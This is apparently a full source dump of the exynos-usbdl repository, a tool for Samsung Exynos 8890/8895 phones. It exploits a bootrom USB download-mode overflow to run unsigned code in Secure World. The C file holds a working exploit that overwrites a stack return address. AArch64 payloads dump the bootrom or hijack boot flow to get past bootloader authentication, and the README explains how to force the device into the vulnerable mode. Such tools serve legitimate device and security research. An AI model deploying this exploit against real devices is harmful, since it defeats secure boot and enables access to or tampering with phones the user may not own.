├── LICENSE ├── Makefile ├── README.md ├── exynos-usbdl.c ├── payloads ├── Exynos8890_dump_bootrom.S ├── Exynos8890_dump_bootrom.bin ├── Exynos8890_sleep.S ├── Exynos8890_sleep.bin ├── Exynos8890_unsecure_boot_usb.S ├── Exynos8890_unsecure_boot_usb.bin ├── Exynos8895_dump_bootrom.S ├── Exynos8895_dump_bootrom.bin └── Makefile └── scripts ├── boot-8890.sh ├── boot-8895.sh ├── boot-unsecure-8890.sh ├── split-sboot-8890.sh ├── split-sboot-8895.sh └── update-checksum.sh /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC ?= gcc 2 | CFLAGS ?= -g -O0 -Wall 3 | LDFLAGS ?= 4 | LDLIBS ?= -lusb-1.0 5 | 6 | OBJS = exynos-usbdl.o 7 | BIN = exynos-usbdl 8 | 9 | %.o: %.c 10 | $(CC) $(CFLAGS) -c -o $@ $< 11 | 12 | $(BIN): $(OBJS) 13 | $(CC) $(CFLAGS) $(LDFLAGS) $(LDLIBS) -o $@ $^ 14 | 15 | .PHONY: clean 16 | clean: 17 | rm $(BIN) $(OBJS) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [exynos-usbdl](https://github.com/frederic/exynos-usbdl) : unsigned code loader for Exynos bootrom 2 | 3 | ## Disclaimer 4 | You will be solely responsible for any damage caused to your hardware/software/warranty/data/cat/etc... 5 | 6 | ## Description 7 | Exynos bootrom supports booting from USB. This method of boot requires an USB host to send a signed bootloader to the bootrom via USB port. 8 | 9 | This tool exploits a [vulnerability](https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html) in the USB download mode to load and run unsigned code in Secure World. 10 | 11 | ## Supported targets 12 | * Exynos 8890 13 | * Exynos 8895 14 | 15 | ## Access to USB download mode 16 | Among all the booting methods supported by this chipset, two are configured in fuses to be attempted on cold boot. 17 | If the first boot method fails (including failed authentication), then second boot method is attempted. 18 | 19 | On retail smartphones, the usual boot configuration is internal storage (UFS chip) first, then USB download mode as fallback. 20 | This means **USB download mode is only accessible if first boot method has failed**. 21 | 22 | First boot method sabotage can be achieved either through software or hardware modification. 23 | The approach used for this project was to dig a hole in UFS chip with dental scraper. 24 | 25 | For Exynos 8890, @astarasikov shared a better approach to corrupt bootloader without opening the device : from Download mode, flash *cm.bin* (from a firmware image) onto *BOOTLOADER* partition using [Heimdall tool](https://gitlab.com/BenjaminDobell/Heimdall). Please keep in mind that it will brick your device until you restore the *BOOTLOADER* partition. 26 | 27 | Once the first boot method fails, USB download mode can be accessed by pressing and holding power button. 28 | 29 | ## Usage 30 | ``` 31 | ./exynos-usbdl [] 32 | mode: mode of operation 33 | n: normal 34 | e: exploit 35 | input_file: payload binary to load and execute 36 | output_file: file to write data returned by payload (exploit mode only) 37 | ``` 38 | 39 | ## Payloads 40 | Payloads are raw binary AArch64 executables. Some are provided in directory **payloads/**. 41 | 42 | ## License 43 | Please see [LICENSE](/LICENSE). 44 | -------------------------------------------------------------------------------- /exynos-usbdl.c: -------------------------------------------------------------------------------- 1 | /* exynos-usbdl - github.com/frederic/exynos-usbdl 2 | * SPDX-License-Identifier: GPL-3.0-or-later 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "libusb-1.0/libusb.h" 11 | 12 | #define DEBUG 0 13 | #define VENDOR_ID 0x04e8 14 | #define PRODUCT_ID 0x1234 15 | #define BLOCK_SIZE 512 16 | #define CHUNK_SIZE (uint32_t)0xfffe00 17 | 18 | #if DEBUG 19 | #define dprint(args...) printf(args) 20 | #else 21 | #define dprint(args...) 22 | #endif 23 | 24 | enum { 25 | NORMAL_MODE = 0, 26 | EXPLOIT_MODE, 27 | }; 28 | 29 | static char *target_names[] = { 30 | "Exynos8890",//TARGET_8890 31 | "Exynos8895",//TARGET_8895 32 | }; 33 | enum { 34 | XFER_BUFFER = 0,//address of buffer where payload is written 35 | RA_PTR,//pointer to return address in stack we want to replace 36 | }; 37 | static uint32_t targets[][2] = { 38 | //XFER_BUFFER, RA_PTR 39 | {0x02021800, 0x02020F08},//TARGET_8890 40 | {0x02021800, 0x02020F18},//TARGET_8895 41 | }; 42 | 43 | libusb_device_handle *handle = NULL; 44 | 45 | #define MAX_PAYLOAD_SIZE (BLOCK_SIZE - 10) 46 | typedef struct __attribute__ ((__packed__)) dldata_s { 47 | u_int32_t unk0; 48 | u_int32_t size;// header(8) + data(n) + footer(2) 49 | u_int8_t data[]; 50 | //u_int16_t footer; 51 | } dldata_t; 52 | 53 | static int send(dldata_t *payload) { 54 | int rc; 55 | int transferred; 56 | uint total_size = payload->size; 57 | uint8_t *payload_ptr = (uint8_t *)payload; 58 | 59 | do { 60 | rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, payload_ptr, (total_size < BLOCK_SIZE ? total_size : BLOCK_SIZE), &transferred, 0); 61 | if(rc) { 62 | fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc)); 63 | return rc; 64 | } 65 | dprint("libusb_bulk_transfer: transferred=%d\n", transferred); 66 | payload_ptr += transferred; 67 | assert(total_size>=transferred); 68 | total_size -= transferred; 69 | } while(total_size > 0); 70 | 71 | return rc; 72 | } 73 | 74 | static int exploit(dldata_t *payload, int target_id) { 75 | int rc; 76 | int transferred; 77 | #if DEBUG 78 | uint32_t usb_size; 79 | uint32_t block_count, size_block_aligned; 80 | #endif 81 | 82 | if(target_id < 0) { 83 | return -1; 84 | } 85 | printf("- exploit: starting.\n"); 86 | 87 | // step 1 : compute offsets,sizes,etc... 88 | dprint("targets[target_id][XFER_BUFFER] = 0x%x\n", targets[target_id][XFER_BUFFER]); 89 | dprint("targets[target_id][RA_PTR] = 0x%x\n", targets[target_id][RA_PTR]); 90 | if(targets[target_id][XFER_BUFFER] < targets[target_id][RA_PTR]) 91 | printf("ERROR : targets[target_id][XFER_BUFFER] < targets[target_id][RA_PTR]\n"); 92 | uint32_t padding_size = targets[target_id][RA_PTR] - targets[target_id][XFER_BUFFER]; 93 | dprint("padding_size = targets[target_id][RA_PTR] - targets[target_id][XFER_BUFFER] = 0x%x\n", padding_size); 94 | uint32_t original_payload_size = payload->size; 95 | dprint("original_payload_size = 0x%x\n", original_payload_size); 96 | if(original_payload_size > BLOCK_SIZE)//maximum size of first bulk transfer 97 | printf("ERROR : original_payload_size > BLOCK_SIZE\n"); 98 | padding_size -= original_payload_size;//leading padding replaced with payload 99 | padding_size += sizeof(payload->unk0) + sizeof(payload->size);//header is skipped, so we have to compensate with more padding 100 | dprint("new padding_size = 0x%x\n", padding_size); 101 | uint32_t chunk_cnt = padding_size / CHUNK_SIZE; 102 | dprint("chunk_cnt = 0x%x\n", chunk_cnt); 103 | padding_size = padding_size % CHUNK_SIZE; 104 | dprint("new padding_size = 0x%x\n", padding_size); 105 | uint32_t block_cnt = padding_size / BLOCK_SIZE; 106 | dprint("block_cnt = 0x%x\n", block_cnt); 107 | padding_size = padding_size % BLOCK_SIZE; 108 | dprint("new padding_size = 0x%x\n", padding_size); 109 | if(padding_size == 0 && block_cnt > 0){//TODO case to verify 110 | dprint("INFO : padding_size == 0 => \n"); 111 | block_cnt--; 112 | dprint("new block_cnt = 0x%x\n", block_cnt); 113 | padding_size = BLOCK_SIZE;//TODO hmmm no! 114 | dprint("new padding_size = 0x%x\n", padding_size); 115 | } 116 | uint32_t ram_size = padding_size + sizeof(targets[target_id][XFER_BUFFER]) + 2;//the pointer we overwrite is at the end, and we need to 2 extra bytes for footer 117 | dprint("ram_size = 0x%x\n", ram_size); 118 | 119 | // step 2 : prepare payload 120 | uint8_t *ram = (uint8_t*)calloc(1, ram_size); 121 | *(uint32_t*)&ram[padding_size] = targets[target_id][XFER_BUFFER];//overwriting return address in stack :] 122 | payload->size = original_payload_size + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size; 123 | dprint("malicious payload->size=0x%x\n", payload->size); 124 | 125 | uint32_t min_size_to_overflw = (uint32_t)0 - targets[target_id][XFER_BUFFER]; 126 | dprint("min_size_to_overflw = 0x%x\n", min_size_to_overflw); 127 | if(min_size_to_overflw > payload->size) 128 | printf("ERROR : min_size_to_overflw > payload->size\n"); 129 | 130 | // step 3 : usb communication 131 | printf("- exploit: sending payload...\n"); 132 | rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, (uint8_t*)payload, original_payload_size, &transferred, 0); 133 | if(rc) { 134 | printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc); 135 | fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc)); 136 | return rc; 137 | } 138 | #if DEBUG 139 | uint32_t xfer_buffer = targets[target_id][XFER_BUFFER]; 140 | xfer_buffer += CHUNK_SIZE + (transferred - 8);//initial bulk transfer has already increased xfer_buffer by CHUNK_SIZE one time. 141 | dprint("xfer_buffer=0x%x\n", xfer_buffer); 142 | usb_size = (payload->size - transferred) - CHUNK_SIZE; 143 | dprint("usb_size=0x%x\n", usb_size); 144 | dprint("libusb_bulk_transfer: transferred=%d\n", transferred); 145 | #endif 146 | chunk_cnt++;//need extra dummy transfer to consume block padding right before sending ram 147 | printf("- exploit: sending %u dummy transfers...\n", chunk_cnt); 148 | while(chunk_cnt--){ 149 | rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, ram, 0, &transferred, 0); 150 | if(rc) { 151 | printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc); 152 | fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc)); 153 | return rc; 154 | } 155 | #if DEBUG 156 | printf("libusb_bulk_transfer: transferred=%d\n", transferred); 157 | printf("chunk_cnt=0x%x\n", chunk_cnt); 158 | if(usb_size > CHUNK_SIZE){ 159 | xfer_buffer += CHUNK_SIZE; 160 | printf("xfer_buffer=0x%x\n", xfer_buffer); 161 | usb_size -= CHUNK_SIZE; 162 | printf("usb_size=0x%x\n", usb_size); 163 | }else{ 164 | block_count = 0; 165 | if(BLOCK_SIZE != 0){ 166 | block_count = usb_size / BLOCK_SIZE; 167 | } 168 | size_block_aligned = block_count * BLOCK_SIZE; 169 | usb_size = usb_size - (BLOCK_SIZE * block_count); 170 | if(usb_size == 0) { 171 | size_block_aligned = size_block_aligned - BLOCK_SIZE; 172 | usb_size = BLOCK_SIZE; 173 | } 174 | if(size_block_aligned == 0) 175 | printf("ERROR !! size_block_aligned == 0 , CANT WORK!!\n"); 176 | printf("size_block_aligned=0x%x\n", size_block_aligned); 177 | xfer_buffer += size_block_aligned; 178 | printf("xfer_buffer=0x%x\n", xfer_buffer); 179 | printf("usb_size=0x%x\n", usb_size); 180 | } 181 | #endif 182 | } 183 | 184 | printf("- exploit: sending last transfer to overwrite RAM...\n"); 185 | rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, ram, ram_size, &transferred, 0); 186 | if(rc) { 187 | printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc); 188 | fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc)); 189 | return rc; 190 | } 191 | dprint("libusb_bulk_transfer: transferred=%d\n", transferred); 192 | printf("- exploit: done.\n"); 193 | 194 | return rc; 195 | } 196 | 197 | static int identify_target() 198 | { 199 | struct libusb_device_descriptor desc; 200 | int rc, i; 201 | unsigned char product[256]; 202 | 203 | if(!handle) 204 | return -1; 205 | 206 | rc = libusb_get_device_descriptor(libusb_get_device(handle), &desc); 207 | if (LIBUSB_SUCCESS != rc) { 208 | fprintf(stderr, "Error getting device descriptor\n"); 209 | return -1; 210 | } 211 | 212 | printf("Device detected: %04x:%04x\n", desc.idVendor, desc.idProduct); 213 | 214 | if (desc.iProduct) { 215 | rc = libusb_get_string_descriptor_ascii(handle, desc.iProduct, product, sizeof(product)); 216 | if (rc > 0){ 217 | for(i = 0; i < sizeof(target_names)/sizeof(target_names[0]); i++){ 218 | if(!strcmp(target_names[i], (char *)product)){ 219 | printf("Target: %s\n", target_names[i]); 220 | return i; 221 | } 222 | } 223 | } 224 | } 225 | 226 | return -1; 227 | } 228 | 229 | static int save_received_data(const char *filename){ 230 | FILE *fd; 231 | int transferred = 0; 232 | int total_transferred = 0; 233 | uint8_t buf[BLOCK_SIZE]; 234 | 235 | fd = fopen(filename,"wb"); 236 | if (fd == NULL) { 237 | fprintf(stderr, "Error: Can't open output file!\n"); 238 | return -1; 239 | } 240 | 241 | do { 242 | libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_IN | 1, buf, sizeof(buf), &transferred, 10);// no error handling because device-side is a mess anyway 243 | fwrite(buf, 1, transferred, fd); 244 | total_transferred += transferred; 245 | } while(transferred); 246 | 247 | fclose(fd); 248 | 249 | return total_transferred; 250 | } 251 | 252 | int main(int argc, char *argv[]) 253 | { 254 | libusb_context *ctx; 255 | FILE *fd; 256 | dldata_t *payload; 257 | size_t payload_size, fd_size; 258 | int target_id = -1; 259 | uint8_t mode; 260 | int rc; 261 | 262 | if (!(argc == 3 || argc == 4)) { 263 | printf("Usage: %s []\n", argv[0]); 264 | printf("\tmode: mode of operation\n"); 265 | printf("\t\tn: normal\n"); 266 | printf("\t\te: exploit\n"); 267 | printf("\tinput_file: payload binary to load and execute\n"); 268 | printf("\toutput_file: file to write data returned by payload (exploit mode only)\n"); 269 | return EXIT_SUCCESS; 270 | } 271 | 272 | if(argv[1] && argv[1][0] == 'e') 273 | mode = EXPLOIT_MODE; 274 | else 275 | mode = NORMAL_MODE; 276 | 277 | fd = fopen(argv[2],"rb"); 278 | if (fd == NULL) { 279 | fprintf(stderr, "Can't open input file %s !\n", argv[2]); 280 | return EXIT_FAILURE; 281 | } 282 | 283 | fseek(fd, 0, SEEK_END); 284 | fd_size = ftell(fd); 285 | 286 | if(mode == EXPLOIT_MODE){ 287 | if(fd_size > MAX_PAYLOAD_SIZE){ 288 | fprintf(stderr, "Error: input payload size cannot exceed %u bytes !\n", MAX_PAYLOAD_SIZE); 289 | return EXIT_FAILURE; 290 | } 291 | payload_size = sizeof(dldata_t) + MAX_PAYLOAD_SIZE + 2;// +2 bytes for footer 292 | }else{// NORMAL_MODE 293 | payload_size = sizeof(dldata_t) + fd_size + 2;// +2 bytes for footer 294 | } 295 | 296 | payload = (dldata_t*)calloc(1, payload_size); 297 | payload->size = payload_size; 298 | 299 | fseek(fd, 0, SEEK_SET); 300 | payload_size = fread(&payload->data, 1, fd_size, fd); 301 | if (payload_size != fd_size) { 302 | fprintf(stderr, "Error: cannot read entire file !\n"); 303 | return EXIT_FAILURE; 304 | } 305 | 306 | rc = libusb_init (&ctx); 307 | if (rc < 0) 308 | { 309 | fprintf(stderr, "Error: failed to initialise libusb: %s\n", libusb_error_name(rc)); 310 | return EXIT_FAILURE; 311 | } 312 | 313 | #if DEBUG 314 | libusb_set_debug(ctx, LIBUSB_LOG_LEVEL_DEBUG); 315 | #endif 316 | 317 | handle = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID); 318 | if (!handle) { 319 | fprintf(stderr, "Error: cannot open device %04x:%04x\n", VENDOR_ID, PRODUCT_ID); 320 | libusb_exit (NULL); 321 | return EXIT_FAILURE; 322 | } 323 | 324 | rc = libusb_claim_interface(handle, 0); 325 | if(rc) { 326 | fprintf(stderr, "Error claiming interface: %s\n", libusb_error_name(rc)); 327 | return EXIT_FAILURE; 328 | } 329 | 330 | if(mode == EXPLOIT_MODE){ 331 | target_id = identify_target(); 332 | exploit(payload, target_id); 333 | 334 | if(argv[3]){ 335 | rc = save_received_data(argv[3]); 336 | if(rc > 0){ 337 | printf("Received data saved to file %s (%u bytes).\n", argv[3], rc); 338 | } 339 | } 340 | }else{// NORMAL_MODE 341 | printf("Sending file %s (0x%lx)...\n", argv[2], fd_size); 342 | rc = send(payload); 343 | if(!rc) 344 | printf("File %s sent !\n", argv[2]); 345 | } 346 | #if DEBUG 347 | sleep(5); 348 | #endif 349 | libusb_release_interface(handle, 0); 350 | 351 | if (handle) { 352 | libusb_close (handle); 353 | } 354 | 355 | libusb_exit (NULL); 356 | 357 | return EXIT_SUCCESS; 358 | } 359 | -------------------------------------------------------------------------------- /payloads/Exynos8890_dump_bootrom.S: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | 4 | _start: 5 | mov w1, #0x20000 // size 6 | mov w0, #0x0 // address 7 | bl usb_send 8 | mov x0, #0 9 | br x0 //reset 10 | 11 | usb_send: 12 | stp x29, x30, [sp,#-48]! 13 | mov w3, #0x0 14 | bfxil w3, w1, #0, #24 15 | mov w1, #0xc12 16 | mov x29, sp 17 | stp x19, x20, [sp,#16] 18 | mov x5, #0xc834 19 | mov w20, #0x1 20 | movk x5, #0x1540, lsl #16 21 | ldr x2, [x29,#40] 22 | mov x4, #0xc838 23 | orr w6, w1, w20 24 | movk x4, #0x1540, lsl #16 25 | mov x19, #0xc83c 26 | movk x19, #0x1540, lsl #16 27 | stp w3, w1, [x2,#8] 28 | mov w3, #0x406 29 | stp w0, wzr, [x2] 30 | mov w0, w20 31 | ldr x1, [x29,#40] 32 | strb w6, [x2,#12] 33 | mov x2, #0x27c8 34 | str w1, [x5] 35 | mov w1, #0x1388 36 | str wzr, [x4] 37 | str w3, [x19] 38 | blr x2 39 | mov w0, w20 40 | ldr w1, [x19] 41 | ldp x19, x20, [sp,#16] 42 | ldp x29, x30, [sp],#48 43 | ret 44 | -------------------------------------------------------------------------------- /payloads/Exynos8890_dump_bootrom.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederic/exynos-usbdl/81599c2a0dd82e120db95231ee6482d04531e326/payloads/Exynos8890_dump_bootrom.bin -------------------------------------------------------------------------------- /payloads/Exynos8890_sleep.S: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | 4 | _start: 5 | mov w1, #5000 // ~ ms 6 | mov w0, #0x1 7 | ldr x3, _sleep 8 | blr x3 9 | mov x0, #0 10 | br x0 11 | 12 | _sleep: .dword 0x000027c8 -------------------------------------------------------------------------------- /payloads/Exynos8890_sleep.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederic/exynos-usbdl/81599c2a0dd82e120db95231ee6482d04531e326/payloads/Exynos8890_sleep.bin -------------------------------------------------------------------------------- /payloads/Exynos8890_unsecure_boot_usb.S: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | 4 | _start: 5 | b _stage1 6 | b _stage2 7 | 8 | _stage1: 9 | // self-copy 10 | ldr w0, _dst_ptr 11 | ldr w1, _bl1_ptr 12 | mov w2, 0x200 // size 13 | mov w4, w0 14 | _copy: 15 | ldr x3, [x1], #8 16 | str x3, [x0], #8 17 | subs x2, x2, #8 18 | bne _copy 19 | add x4, x4, #0x30 20 | br x4 21 | 22 | // restore x20 & x22 23 | ldr w20, _evtbuf_ptr 24 | mov x22, x20 25 | 26 | // restore x21 27 | mov w21, #0x0 28 | 29 | // hijack future control flow 30 | ldr w0, _boot_usb_ra 31 | ldr w1, _dst_ptr 32 | add w1, w1, #0x4 // _stage2 33 | str w1, [x0] 34 | 35 | // resume original execution 36 | ldr w0, _original_ra 37 | br x0 38 | 39 | 40 | _stage2: 41 | // call boot_usb again to load BL1 42 | ldr w1, _boot_usb 43 | blr x1 44 | 45 | // authenticate BL1 (required to boot unmodified bootloaders) 46 | mov w0, #0x1 47 | mov w1, #0x1 48 | ldr w2, _auth_bl1 49 | blr x2 50 | 51 | // invalidate all instruction caches 52 | ic iallu 53 | 54 | // jump to BL1 55 | ldr w0, _jmp_bl1 56 | br x0 57 | 58 | 59 | _evtbuf_ptr: .dword 0x02021578 60 | _boot_usb_ra: .dword 0x02020f60 61 | _bl1_ptr: .dword 0x02021800 62 | _original_ra: .dword 0x00007c68 63 | _boot_usb: .dword 0x000064e0 64 | _dst_ptr: .dword 0x020c0000 65 | _auth_bl1: .dword 0x00012848 66 | _jmp_bl1: .dword 0x000002c0 -------------------------------------------------------------------------------- /payloads/Exynos8890_unsecure_boot_usb.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederic/exynos-usbdl/81599c2a0dd82e120db95231ee6482d04531e326/payloads/Exynos8890_unsecure_boot_usb.bin -------------------------------------------------------------------------------- /payloads/Exynos8895_dump_bootrom.S: -------------------------------------------------------------------------------- 1 | .text 2 | .global _start 3 | 4 | _start: 5 | mov w1, #0x20000 // size 6 | mov w0, #0x0000 // address 7 | movk w0, #0x0000, lsl #16 // address 8 | bl usb_send 9 | mov x0, #0 10 | br x0 //reset 11 | 12 | usb_send: 13 | stp x29, x30, [sp,#-80]! 14 | mov w2, #0xc12 // #3090 15 | mov w3, #0x0 // #0 16 | mov x5, #0xc834 // #51252 17 | mov x29, sp 18 | stp x19, x20, [sp,#16] 19 | movk x5, #0x10c0, lsl #16 20 | mov w20, #0x1 // #1 21 | bfxil w3, w1, #0, #24 22 | mov x4, #0xc838 // #51256 23 | stp w3, w2, [x29,#56] 24 | str x21, [sp,#32] 25 | movk x4, #0x10c0, lsl #16 26 | orr w2, w2, w20 27 | mov x21, #0xc83c // #51260 28 | stp w0, wzr, [x29,#48] 29 | add x19, x29, #0x30 30 | strb w2, [x29,#60] 31 | movk x21, #0x10c0, lsl #16 32 | str w19, [x5] 33 | mov w3, #0x406 // #1030 34 | mov w0, w20 35 | str wzr, [x4] 36 | str w3, [x21] 37 | mov w1, #0x1388 // #5000 38 | mov x2, #0x2778 // #10104 39 | and x19, x19, #0xffffffff 40 | blr x2 41 | ldp x2, x3, [x19] 42 | ldr w0, [x21] 43 | stp x2, x3, [x29,#64] 44 | mov w0, w20 45 | ldr x21, [sp,#32] 46 | ldp x19, x20, [sp,#16] 47 | ldp x29, x30, [sp],#80 48 | ret 49 | -------------------------------------------------------------------------------- /payloads/Exynos8895_dump_bootrom.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frederic/exynos-usbdl/81599c2a0dd82e120db95231ee6482d04531e326/payloads/Exynos8895_dump_bootrom.bin -------------------------------------------------------------------------------- /payloads/Makefile: -------------------------------------------------------------------------------- 1 | CROSS_COMPILER ?= ~/tools/cross/gcc-linaro-5.3.1-2016.05-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu- 2 | CC = $(CROSS_COMPILER)gcc 3 | OBJCOPY = $(CROSS_COMPILER)objcopy 4 | CFLAGS = -nostdlib 5 | LDFLAGS = -Wl,--build-id=none 6 | 7 | SRCS := $(wildcard *.S) 8 | PRGS := $(patsubst %.S,%,$(SRCS)) 9 | PRG_SUFFIX=.bin 10 | BINS := $(patsubst %,%$(PRG_SUFFIX),$(PRGS)) 11 | 12 | all: $(BINS) 13 | 14 | %.elf: %.S 15 | $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ 16 | 17 | %.bin: %.elf 18 | $(OBJCOPY) -O binary -j .text $< $@ 19 | 20 | .PHONY: clean 21 | clean: 22 | rm $(BINS) -------------------------------------------------------------------------------- /scripts/boot-8890.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./exynos-usbdl n $1.1.bin 4 | sleep 1 5 | ./exynos-usbdl n $1.2.bin 6 | sleep 1 7 | ./exynos-usbdl n $1.3.bin 8 | sleep 1 9 | ./exynos-usbdl n $1.4.bin 10 | -------------------------------------------------------------------------------- /scripts/boot-8895.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./exynos-usbdl n $1.1.bin 4 | sleep 1 5 | ./exynos-usbdl n $1.2.bin 6 | sleep 1 7 | ./exynos-usbdl n $1.3.bin 8 | sleep 1 9 | ./exynos-usbdl n $1.4.bin 10 | sleep 1 11 | ./exynos-usbdl n $1.5.bin 12 | sleep 1 13 | ./exynos-usbdl n $1.6.bin 14 | -------------------------------------------------------------------------------- /scripts/boot-unsecure-8890.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./exynos-usbdl e payloads/Exynos8890_unsecure_boot_usb.bin 4 | sleep 1 5 | ./exynos-usbdl n $1.1.bin 6 | sleep 1 7 | ./exynos-usbdl n $1.2.bin 8 | sleep 1 9 | ./exynos-usbdl n $1.3.bin 10 | sleep 1 11 | ./exynos-usbdl n $1.4.bin -------------------------------------------------------------------------------- /scripts/split-sboot-8890.sh: -------------------------------------------------------------------------------- 1 | # input file argument : sboot.bin - G930W8VLS6CSH1 - sha1sum: 9322ccb4e9b382b8cc67ff9ef989c459a763621f 2 | dd if=$1 of=$1.1.bin skip=0 bs=512 count=16 # 0x2000 @ 0x0 3 | dd if=$1 of=$1.2.bin skip=16 bs=512 count=288 # 0x24000 @ 0x2000 4 | dd if=$1 of=$1.3.bin skip=155648 bs=1 count=158992 # 0x26d10 @ 0x26000 5 | dd if=$1 of=$1.4.bin skip=776 bs=512 count=1672 # 0xD1000 @ 0x61000 6 | -------------------------------------------------------------------------------- /scripts/split-sboot-8895.sh: -------------------------------------------------------------------------------- 1 | # input file argument : sboot.bin - G950FXXU1AQJ5 - sha1sum: 648a3e2c4de149250c575b4f14de096e147cc799 2 | dd if=$1 of=$1.1.bin skip=0 bs=512 count=16 # fwbl1 0x2000 @ 0x0 3 | dd if=$1 of=$1.2.bin skip=16 bs=512 count=320 # bl31 0x28000 @ 0x2000 4 | dd if=$1 of=$1.3.bin skip=336 bs=512 count=384 # bl2 0x30000 @ 0x2A000 5 | cp $1.1.bin $1.4.bin # i have no idea what im doing. stolen from https://github.com/astarasikov/exynos9610-usb-emergency-recovery/blob/c4d33b943a9d59e69613c796afdfc38b4057a6a9/dltool/dltool.c#L315 6 | dd if=$1 of=$1.5.bin skip=912 bs=512 count=1672 7 | dd if=$1 of=$1.6.bin skip=2584 bs=512 count=1024 -------------------------------------------------------------------------------- /scripts/update-checksum.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # update checksum of BL1 / BL31 bootloaders 3 | 4 | SUM=$(dd if=$1 bs=1 skip=16 | sha256sum | xxd -r -p | head -c 4) 5 | 6 | echo -n $SUM | dd of=$1 bs=4 count=1 seek=1 conv=notrunc 7 | --------------------------------------------------------------------------------